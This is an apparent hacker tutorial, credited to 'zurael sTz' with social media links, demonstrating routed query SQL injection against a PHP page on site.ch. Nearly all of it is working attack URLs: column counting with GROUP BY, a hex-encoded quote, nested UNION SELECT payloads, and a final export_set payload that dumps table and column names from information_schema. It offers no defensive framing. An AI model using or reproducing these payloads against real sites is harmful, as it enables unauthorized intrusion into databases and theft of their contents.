Routed query injection tutorial |zuraelsTz|

<===============Hacker zurael sTz===============>
=================twitter=============================
https://twitter.com/zurael_stz
=================facebook============================
https://www.facebook.com/sTzisrael/
=====================================================
=================telegram============================
https://telegram.me/joinchat/BL8GnT_yQscC-6gBMuCW_w
=====================================================
<===============Hacker zurael sTz===============>

Routed query injection tutorial
https://youtu.be/hlpBpopqnXs


http://site.ch/index2.php?rub=11

group by

http://site.ch/index2.php?rub=11 group by 13;%00-- : New errer
http://site.ch/index2.php?rub=11 group by 14;%00-- : errer


http://site.ch/index2.php?rub=.11 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,0x313127,12,13,14;%00

hex
0x313127 = 11'

http://site.ch/index2.php?rub=.11 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,"11 order by 20--",12,13,14;%00 : Unknown column '20' in 'order clause'

union select

http://site.ch/index2.php?rub=.11 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,"11 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--",12,13,14;%00

column : 3

http://site.ch/index2.php?rub=.11+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,"-11+UNION+ALL+SELECT+1,2,(Select+export_set(5,@:=0,(select+count(*)
from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,
18,19",12,13,14;00